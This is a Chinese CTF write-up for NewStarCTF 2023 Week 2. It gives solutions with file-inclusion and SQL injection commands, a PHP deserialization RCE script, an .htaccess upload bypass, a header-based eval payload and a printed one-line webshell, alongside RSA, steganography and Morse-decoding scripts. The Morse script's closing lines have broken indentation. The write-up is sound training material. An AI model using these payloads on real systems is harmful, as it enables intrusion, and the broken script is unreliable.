NewStarCTF 2023 公开赛道 Week2

发布时间 2023-10-16 00:12:40作者: Fab1an

官方WP

NewStarCTF 2023 Week2 官方WriteUp
NewStarCTF 2023 Week2 官方WriteUp.html

Web

include 0。0

image.png
image.png

<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
    @include($file);
}else{
    die("nope");
}
?> nope

文件包含rot和base被过滤了,还有一个十六进制的可以用
十六进制:

?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

我先把base64的和Rot13的补充一下,以备下次使用
base64:

index.php?file=php://filter/read=convert.base64-encode/resource=flag.php

Rot13:

index.php?file=php://filter/string.rot13/resource=flag.php

image.png

游戏高手

简单的JS代码审计
直接在console控制台输入gamesource=100000,然后玩游戏,在飞机坠机死亡的时候获得flag

或者
给api.php传json 参数
image.png

ez_sql

Sqlmap一把梭

sqlmap -u "http://2f4731e1-05d8-4b79-9b94-0870a1353852.node4.buuoj.cn:81/?id=TMP0919" -D ctf -T here_is_flag -C flag --dump

image.png

Unserialize?

image.png

<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
    private $cmd;

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

@unserialize($_POST['unser']);
?>

是PHP的反序列化漏洞,问了一下ChatGPT大哥
大哥说:
这段代码包含了一个潜在的PHP反序列化漏洞,其中 @unserialize($_POST['unser']); 试图反序列化通过POST请求发送的数据,但没有适当的验证和过滤。
解题思路:
构造Payload:首先,我们需要构造一个恶意序列化的Payload,以便在反序列化时触发 evil 类的 __destruct 方法。
Bypass黑名单:目标是执行系统命令,但有一个黑名单(cat|tac|more|tail|base),所以我们需要绕过这个黑名单。
触发Payload:发送构造好的Payload进行反序列化,触发 __destruct 方法,从而执行系统命令。
以下是一个可能的解题脚本,使用了基本的Payload构造和黑名单绕过:

<?php
class evil {
    private $cmd;

    public function __construct($cmd)
    {
        $this->cmd = $cmd;
    }

    public function __destruct()
    {
        if (!preg_match("/cat|tac|more|tail|base/i", $this->cmd)) {
            @system($this->cmd);
        }
    }
}

// 构造Payload,传入要执行的命令
$payload = new evil("your_command_here");

// 序列化Payload
$serialized_payload = serialize($payload);

// 将Payload发送到目标网站
$data = [
    'unser' => $serialized_payload,
];

$url = 'http://target_website.com'; // 替换成目标网站的URL
$options = [
    'http' => [
        'method' => 'POST',
        'header' => 'Content-type: application/x-www-form-urlencoded',
        'content' => http_build_query($data),
    ],
];

$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);

// 输出响应
echo $response;
?>

请将 'your_command_here' 替换为你希望执行的系统命令。然后,将脚本发送到目标网站,它应该会触发 evil 类的 __destruct 方法,执行你指定的系统命令。
请注意,这只是一种示例,实际使用中可能需要根据具体情况进行调整。在实际CTF比赛中,需要仔细分析和测试Payload,以确保成功利用漏洞。
那就试试whoamils /,成功执行
image.png
虽然题目过滤了/cat|tac|more|tail|base,但是我们还可以用uniq
image.png
image.png

我们还可以根据这个脚本来操作:

<?php
class evil {
    private $cmd;

    public function __construct($cmd)
    {
        $this->cmd = $cmd;
    }

    public function __destruct()
    {
        if (!preg_match("/cat|tac|more|tail|base/i", $this->cmd)) {
            @system($this->cmd);
        }
    }
}

// 构造Payload,传入要执行的命令
$payload = new evil("uniq /th1s_1s_fffflllll4444aaaggggg");

// 序列化Payload
$serialized_payload = serialize($payload);

echo urlencode($serialized_payload);
?>

image.png
image.png

魔术方法
总结:
1 魔术方法是一类类的方法
2 会在序列化和反序列化及其他特殊情况下,自动执行

脚本的__construct 魔术方法在实例化一个对象时(new)时,会被自动调用,它不允许重复声明,它可以作为非public权限属性的初始化;
__destruct方法 称为析构方法,它在类对象将要销毁,也就是脚本执行完毕后执行清理工作时自动执行;
这样的传参操作$payload = new evil("uniq /th1s_1s_fffflllll4444aaaggggg");
是因为题目的$cmd属性被定义为私有(private),在类外部无法直接访问。
在类外部尝试为$payload对象的 $cmd 属性赋值,这会触发访问控制错误。
所以我们使用构造函数赋值:将 $cmd 的赋值移到构造函数中,这样就可以在对象创建时为 $cmd 赋值。修改你的类
这样,你在创建 evil 对象时将命令传递给构造函数,并且在构造函数中将命令赋值给 $cmd 属性。

Upload again!

image.png
image.png
上传php文件或者包含php标记的文件都以失败告终
但是发现有一个文件是没有过滤,也是我们上传过程中经常用到的.htaccess

.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

上传一个内容为SetHandler application/x-httpd-php的.htaccess文件
image.png
接下来上传1.txt
image.png
image.png
image.png
image.png
就是说我们后来上传的文件它都当作PHP文件来执行

RCE

image.png
进去之后啥也没有,猜测为.git泄露,访问url/.git/
出现403错误,说明服务器有这个文件,但是拒绝让你访问
image.png
那我们便使用Githack来获取https://github.com/lijiejie/GitHack
用法示例:

python2 GitHack.py http://106.75.72.168:9999/.git/

image.png
image.png
image.png
bo0g1pop.php的内容为如下所示,可以发现很多函数都被题目过滤掉了

<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
        eval($_GET['star']);
    }
}

start.sh的内容为如下所示,说明flag在根目录下 /flag

#!/bin/bash
echo "$FLAG" > /flag && \
export FLAG=not && FLAG=not && \
service apache2 restart && \
tail -f /dev/null

那么考点就是“无参数RCE”了
参考博客:PHP Parametric Function RCE · sky’s blog
无参数命令执行学习 - 先知社区http://t.csdnimg.cn/vZebc
这串代码preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star']
这里使用preg__replace替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9_],然后(?R)?这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;

以上正则表达式只匹配a(b(c()))或a()这种格式,不匹配a("123"),也就是说我们传入的值函数不能带有参数,所以我们要使用无参数的函数进行文件读取或者命令执行。

涉及的相关函数:

数组相关的操作:
next() - 将内部指针指向数组中的下一个元素,并输出。
current():返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回$_GET变量的数组值,pos是current的别名,如果都被过滤还可以使用reset(),该函数返回数组第一个单元的值,如果数组为空则返回 FALSE。
array_reverse() 以相反的元素顺序返回数组。



print_r() 以人类易读的格式显示一个变量的信息。(输出一个数组)


getallheaders():获取所有 HTTP 请求标头,是apache_request_headers()的别名函数,但是该函数只能在Apache环境下使用


● array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
● array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。
● array_flip()和array_rand()配合使用可随机返回当前目录下的文件名

传参print_r(getallheaders());获取了所有 HTTP 请求标头
image.png
我们可以在header中做一些自定义的手段
在http请求头中加一部分,让其作为php代码运行
image.png
题目过滤的是curent,所以我们还能用current
这里我想把phpinfo(),提取出来让其作为php代码执行
但是它的位置在中间,如果在前面,可以用current(next())拿到它;如果在后面,可以用array_reverse()将数组反转过来之后,再用current拿它,它在中间就不好搞了,又不能用next套娃,因为next的参数要是数组,第一次next完成之后就不是数组了,变成字符串了

那我们就使用array_flip()函数和array_rand()函数

● array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
● array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。
● array_flip()和array_rand()配合使用可随机返回当前目录下的文件名

array_flip()函数,它会将传进来的数组进行一个键和值的互换,这样的话phpinfo();就变成键了,接下来我们只要取键就可以了,这时与之想配合的另一个函数array_rand(),它会随机的取数组中的一个或多个元素的键,不给参数就是默认取一个,这样就好办了,构造Payload:

?star=eval(array_rand(array_flip(getallheaders())));

多发几次包,就能发现phpinfo()成功运行!
image.png
注意这里Payload必须要再加一个eval,如果不加这个eval,那麽到下面的eval($_GET['star']);时,得到的结果只是phpinfo()这个字符串,它只是将我们构造的array_rand(array_flip(getallheaders()))给执行了而已,所以我们要先用一个eval将array_rand(array_flip(getallheaders()))变为phpinfo();,下面才能正确eval(phpinfo();)
image.png
最后在根目录下拿到flag
image.png
fabbc38189cd9961d01faa9be999a5d.png

Crypto

滴啤

根据题意,结合风二西RSA工具,应为dp泄露攻击
题目代码:

from Crypto.Util.number import *
import gmpy2
from flag import flag
def gen_prime(number):
    p = getPrime(number//2)
    q = getPrime(number//2)
    return p,q

m = bytes_to_long(flag.encode())
p,q = gen_prime(1024)
print(p*q)
e = 65537
d = gmpy2.invert(e,(p-1)*(q-1))
print(d%(p-1))
print(pow(m,e,p*q))
# 93172788492926438327710592564562854206438712390394636149385608321800134934361353794206624031396988124455847768883785503795521389178814791213054124361007887496351504099772757164211666778414800698976335767027868761735533195880182982358937211282541379697714874313863354097646233575265223978310932841461535936931
# 307467153394842898333761625034462907680907310539113349710634557900919735848784017007186630645110812431448648273172817619775466967145608769260573615221635
# 52777705692327501332528487168340175436832109866218597778822262268417075157567880409483079452903528883040715097136293765188858187142103081639134055997552543213589467751037524482578093572244313928030341356359989531451789166815462417484822009937089058352982739611755717666799278271494933382716633553199739292089

EXP:

import gmpy2

import libnum

n= 93172788492926438327710592564562854206438712390394636149385608321800134934361353794206624031396988124455847768883785503795521389178814791213054124361007887496351504099772757164211666778414800698976335767027868761735533195880182982358937211282541379697714874313863354097646233575265223978310932841461535936931

e= 65537

c= 52777705692327501332528487168340175436832109866218597778822262268417075157567880409483079452903528883040715097136293765188858187142103081639134055997552543213589467751037524482578093572244313928030341356359989531451789166815462417484822009937089058352982739611755717666799278271494933382716633553199739292089

dp= 307467153394842898333761625034462907680907310539113349710634557900919735848784017007186630645110812431448648273172817619775466967145608769260573615221635



p=gmpy2.gcd(pow(2,e*dp,n)-2,n)

print(p)

q = n // p


phi_n = (p - 1) * (q - 1)

d = gmpy2.invert(e, phi_n)

m = pow(c, d, n)

print(m)

flag = libnum.n2s(int(m))

print(flag)

image.png

不止一个pi

image.png

Misc

base!

image.png
附件:base.txt
base.txt
参考攻防世界的题目base64stego
参考博客:http://t.csdnimg.cn/obl4z
base64编码原理
咱们用一个经典的例子来解释它的原理(摘自百度百科)
在电脑里,内存1个字节占8位
转前: s 1 3
先转成ascii:对应 115 49 51
然后转成8位2进制: 01110011 00110001 00110011
然后拼接在一起 011100110011000100110011
分成6各个一组 011100 110011 000100 110011
然后再将上面的二进制数字算出来
得到 28 51 4 51
查对下照表 c z E z
看不太懂的话,可以再来个图稍微了解一下。

上面的图中所有空白的二进制位都会用0进行补位然后下面出来一到两个等号。
base64解码原理
方便起见咱们以刚才图片的第二个例子举例
把 Base64 字符串去掉等号, 转为二进制数(QKM= -> QKM -> 010000100100001100).
从左到右, 8 个位一组, 多余位的扔掉, 转为对应的 ASCII 码(01000010 01000011 00 -> 扔掉最后2位 -> 1000010 01000011-> BC)
有没有发现什么?
对了,最后两个标红的0在解密中并没有起到任何的作用。但是咱们不能这两个标红零的后面,进行隐写,因为那样会影响到等号的数量,说白了就是破坏了原先的结构。好,从现在开始我们的任务只有一个,提取和咱们刚才所说过的标红的0地位相当的二进制数字,并将他们转化为字符。
base64隐写解密
python脚本

import base64
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'#在这一行我们的工作就是简单的做一个base64的参照表,后面会解释作用。
with open('1.txt', 'rb') as f:
    bin_str = ''
    for line in f.readlines():
        stegb64 = str(line, "utf-8").strip("\r\n")#输出的时候好像还是有回车
        rowb64 = str(base64.b64encode(base64.b64decode(stegb64)), "utf-8").strip("\r\n")#要加“utf-8”不加会报错
        equalnum = stegb64.count('=')
        if equalnum:#刚刚从我们的分析过程中可以看到,如果在一串base64编码的字符串中,没有等号是不可能隐藏数据的,所以这里要判断一
            offset = abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=','')[-1]))#这里要算一下偏移量,可能就这么说偏移量大家可能不是很懂,我就用简单通俗的话来讲吧。如果咱们不去隐写数据的话,最后补位的一定全是零,那么用咱们得到的隐写数据的二进制减去那些补位是零的二进制数据(他们两个的头部都是从前面继承的),那么就会得到咱们隐写进去的非零二进制数据。
            bin_str += bin(offset)[2:].zfill(equalnum * 2)
        print(''.join([chr(int(bin_str[i:i + 8], 2)) for i in range(0, len(bin_str), 8)]))

WebShell的利用

image.png
index.php
index.php是一大串代码
image.png
它是被PHP混淆加密了,我们利用在线网站解密http://www.zhaoyuanma.com/phpjm.html即可:

<?php
//加密方式:php源码混淆类加密。免费版地址:http://www.zhaoyuanma.com/phpjm.html 免费版不能解密,可以使用VIP版本。
//此程序由【找源码】http://Www.ZhaoYuanMa.Com (免费版)在线逆向还原,QQ:7530782 
?>
<?php
error_reporting(0);($_GET['7d67973a'])($_POST['9fa3']);
?>

传参即可获得flag
image.png

1-序章

image.png
access (2).log
根据GPT大哥说的,我们要提取ASCII码,盲注到的话就会sleep一秒,那我们应该找那一秒的ASCII码
1697179387035.png
最后一个字符就是flag
分析个屁,这个延迟一秒很明显有问题
用Linux Shell的半自动化脚本:

for i in `seq 1 62`; do
    cat access.log | grep "if(ascii(substr((select group_concat(username,password) from user),$i,1))" | tail -1
done

image.png
image.png
过滤一下用Python脚本跑,我不会编程>_<,直接问ChatGPT

import re

# 输入的字符串
input_string = "user),1,1))=121,sleep(1),1)--+&totalPrice=0user),2,1))=111,sleep(1),1)--+&totalPrice=0user),3,1))=117,sleep(1),1)--+&totalPrice=0user),4,1))=95,sleep(1),1)--+&totalPrice=0user),5,1))=119,sleep(1),1)--+&totalPrice=0user),6,1))=52,sleep(1),1)--+&totalPrice=0user),7,1))=110,sleep(1),1)--+&totalPrice=0user),8,1))=116,sleep(1),1)--+&totalPrice=0user),9,1))=95,sleep(1),1)--+&totalPrice=0user),10,1))=115,sleep(1),1)--+&totalPrice=0user),11,1))=51,sleep(1),1)--+&totalPrice=0user),12,1))=99,sleep(1),1)--+&totalPrice=0user),13,1))=114,sleep(1),1)--+&totalPrice=0user),14,1))=101,sleep(1),1)--+&totalPrice=0user),15,1))=116,sleep(1),1)--+&totalPrice=0user),16,1))=102,sleep(1),1)--+&totalPrice=0user),17,1))=108,sleep(1),1)--+&totalPrice=0user),18,1))=97,sleep(1),1)--+&totalPrice=0user),19,1))=103,sleep(1),1)--+&totalPrice=0user),20,1))=123,sleep(1),1)--+&totalPrice=0user),21,1))=106,sleep(1),1)--+&totalPrice=0user),22,1))=117,sleep(1),1)--+&totalPrice=0user),23,1))=115,sleep(1),1)--+&totalPrice=0user),24,1))=116,sleep(1),1)--+&totalPrice=0user),25,1))=95,sleep(1),1)--+&totalPrice=0user),26,1))=119,sleep(1),1)--+&totalPrice=0user),27,1))=52,sleep(1),1)--+&totalPrice=0user),28,1))=114,sleep(1),1)--+&totalPrice=0user),29,1))=109,sleep(1),1)--+&totalPrice=0user),30,1))=95,sleep(1),1)--+&totalPrice=0user),31,1))=117,sleep(1),1)--+&totalPrice=0user),32,1))=112,sleep(1),1)--+&totalPrice=0user),33,1))=95,sleep(1),1)--+&totalPrice=0user),34,1))=115,sleep(1),1)--+&totalPrice=0user),35,1))=48,sleep(1),1)--+&totalPrice=0user),36,1))=95,sleep(1),1)--+&totalPrice=0user),37,1))=121,sleep(1),1)--+&totalPrice=0user),38,1))=111,sleep(1),1)--+&totalPrice=0user),39,1))=117,sleep(1),1)--+&totalPrice=0user),40,1))=95,sleep(1),1)--+&totalPrice=0user),41,1))=110,sleep(1),1)--+&totalPrice=0user),42,1))=51,sleep(1),1)--+&totalPrice=0user),43,1))=101,sleep(1),1)--+&totalPrice=0user),44,1))=100,sleep(1),1)--+&totalPrice=0user),45,1))=95,sleep(1),1)--+&totalPrice=0user),46,1))=104,sleep(1),1)--+&totalPrice=0user),47,1))=52,sleep(1),1)--+&totalPrice=0user),48,1))=114,sleep(1),1)--+&totalPrice=0user),49,1))=100,sleep(1),1)--+&totalPrice=0user),50,1))=101,sleep(1),1)--+&totalPrice=0user),51,1))=114,sleep(1),1)--+&totalPrice=0user),52,1))=95,sleep(1),1)--+&totalPrice=0user),53,1))=54,sleep(1),1)--+&totalPrice=0user),54,1))=48,sleep(1),1)--+&totalPrice=0user),55,1))=50,sleep(1),1)--+&totalPrice=0user),56,1))=54,sleep(1),1)--+&totalPrice=0user),57,1))=99,sleep(1),1)--+&totalPrice=0user),58,1))=100,sleep(1),1)--+&totalPrice=0user),59,1))=51,sleep(1),1)--+&totalPrice=0user),60,1))=50,sleep(1),1)--+&totalPrice=0user),61,1))=125,sleep(1),1)--+&totalPrice=0user),62,1))=44,sleep(1),1)--+&totalPrice=0"

# 使用正则表达式提取ASCII码部分
ascii_matches = re.findall(r"=([0-9]+),sleep\(1\),1\)--\+", input_string)

# 将提取的ASCII码转换为字符并拼接成明文
plaintext = "".join(chr(int(ascii)) for ascii in ascii_matches)

print(plaintext)

image.png

Jvav

image.png
解压之后是gakki的照片,哦豁!老喜欢《逃避可耻但有用》里面的森山实栗了
image.png
image.png说回题目,它是java盲水印,使用工具BlindWatermark-v0.0.3.jarhttps://github.com/ww23/BlindWatermark

java -jar .\BlindWatermark-v0.0.3.jar decode -c .\challenge.png 1.png

image.png

新建Word文档

image.png
打开后无法复制,另存为XMl文件
image.png
image.png
用记事本打开之后就可以复制了,在一个一个复制出来拿去新佛曰解密即可新约佛论禅/佛曰加密 - PcMoe!
或者直接另存为TXT文本,再用记事本打开
image.png
image.png
image.png

永不消逝的电波

image.png
secret (1).wav
下载音频后听到一段电波,是摩斯密码
使用脚本一把梭了https://github.com/CrystalMoling/MorseAudioDecoder/blob/master/main.py
http://t.csdnimg.cn/fEcTb Python脚本实现从音频提取摩斯密码再解密

import math
import sys

import numpy as np
import wave
import pylab
from tqdm import tqdm

morse_dict = {
    '.-': 'A', '-...': 'B', '-.-.': 'C', '-..': 'D', '.': 'E', '..-.': 'F',
    '--.': 'G', '....': 'H', '..': 'I', '.---': 'J', '-.-': 'K', '.-..': 'L',
    '--': 'M', '-.': 'N', '---': 'O', '.--.': 'P', '--.-': 'Q', '.-.': 'R',
    '...': 'S', '-': 'T', '..-': 'U', '...-': 'V', '.--': 'W', '-..-': 'X',
    '-.--': 'Y', '--..': 'Z',

    '.----': '1', '..---': '2', '...--': '3', '....-': '4', '.....': '5',
    '-....': '6', '--...': '7', '---..': '8', '----.': '9', '-----': '0',

    '.-.-.-': '.', '---...': ':', '--..--': ',', '-.-.-.': ';', '..--..': '?',
    '-...-': '=', '.----.': '\'', '-..-.': '/', '-.-.--': '!', '-....-': '-',
    '..--.-': '_', '.-..-.': '"', '-.--.': '(', '-.--.-': ')', '...-..-': '$',
    '.-...': '&', '.--.-.': '@'
}

# 加载音频
audio = wave.open(sys.argv[1], 'rb')

# 读音频信息
params = audio.getparams()
print(params)
n_channels, _, sample_rate, n_frames = params[:4]

# 将显示的所有图分辨率调高
pylab.figure(dpi=200, figsize=(1000000 / n_frames * 50, 2))

# 读频谱信息
str_wave_data = audio.readframes(n_frames)
audio.close()

# 将频谱信息转为数组
wave_data = np.frombuffer(str_wave_data, dtype=np.short).T

# 计算平均频率
wave_avg = int(sum([abs(x / 10) for x in wave_data]) / len(wave_data)) * 10
print("wave avg: " + str(wave_avg))

# 绘制摩斯图像
morse_block_sum = 0  # 待划分的数据
morse_block_length = 0  # 待划分的数据长度
morse_arr = []
time_arr = []
pbar = tqdm(wave_data, desc="Drawing Morse Image")
for i in pbar:
    # 高于平均值记为 1 ,反之为 0
    if abs(i) > wave_avg:
        morse_block_sum += 1
    else:
        morse_block_sum += 0
    morse_block_length += 1
    # 将数据按照指定长度划分
    if morse_block_length == 100:
        # 计算划分块的平均值
        if math.sqrt(morse_block_sum / 100) > 0.5:
            morse_arr.append(1)
        else:
            morse_arr.append(0)
        # 横坐标
        time_arr.append(len(time_arr))
        morse_block_length = 0
        morse_block_sum = 0
# 输出图像
pylab.plot(time_arr, morse_arr)
pylab.savefig('result.png')

# 摩斯电码 按信号长度存储
morse_type = []
morse_len = []
# 摩斯电码长度     0  1
morse_obj_sum = [0, 0]
morse_obj_len = [0, 0]
for i in morse_arr:
    if len(morse_type) == 0 or morse_type[len(morse_type) - 1] != i:
        morse_obj_len[i] += 1
        morse_obj_sum[i] += 1
        morse_type.append(i)
        morse_len.append(1)
    else:
        if morse_len[len(morse_type) - 1] <= 100:
            morse_obj_sum[i] += 1
            morse_len[len(morse_type) - 1] += 1

# 计算信息与空位的平均长度
morse_block_avg = morse_obj_sum[1] / morse_obj_len[1]
print("morse block avg: " + str(morse_block_avg))
morse_blank_avg = morse_obj_sum[0] / morse_obj_len[0]
print("morse blank avg: " + str(morse_blank_avg))

# 转换为摩斯电码
morse_result = ""
for i in range(len(morse_type)):
    if morse_type[i] == 1:
        # 大于平均长度为"-"
        if morse_len[i] > morse_block_avg:
            morse_result += "-"
        # 小于平均长度即为"."
        elif morse_len[i] < morse_block_avg:
            morse_result += "."
    # 大于平均空位长度的为分割
            elif morse_type[i] == 0:
            if morse_len[i] > morse_blank_avg:
            morse_result += "/"

            print("Morse Result: " + morse_result)

# 摩斯电码解码
            morse_array = morse_result.split("/")
            plain_text = ""
            for morse in morse_array:
            if morse != '':
            plain_text += morse_dict[morse]
            print("Plain Text: " + plain_text)
python .\mosi.py '.\secret (1).wav'

image.png
flag转成小写即可:
image.png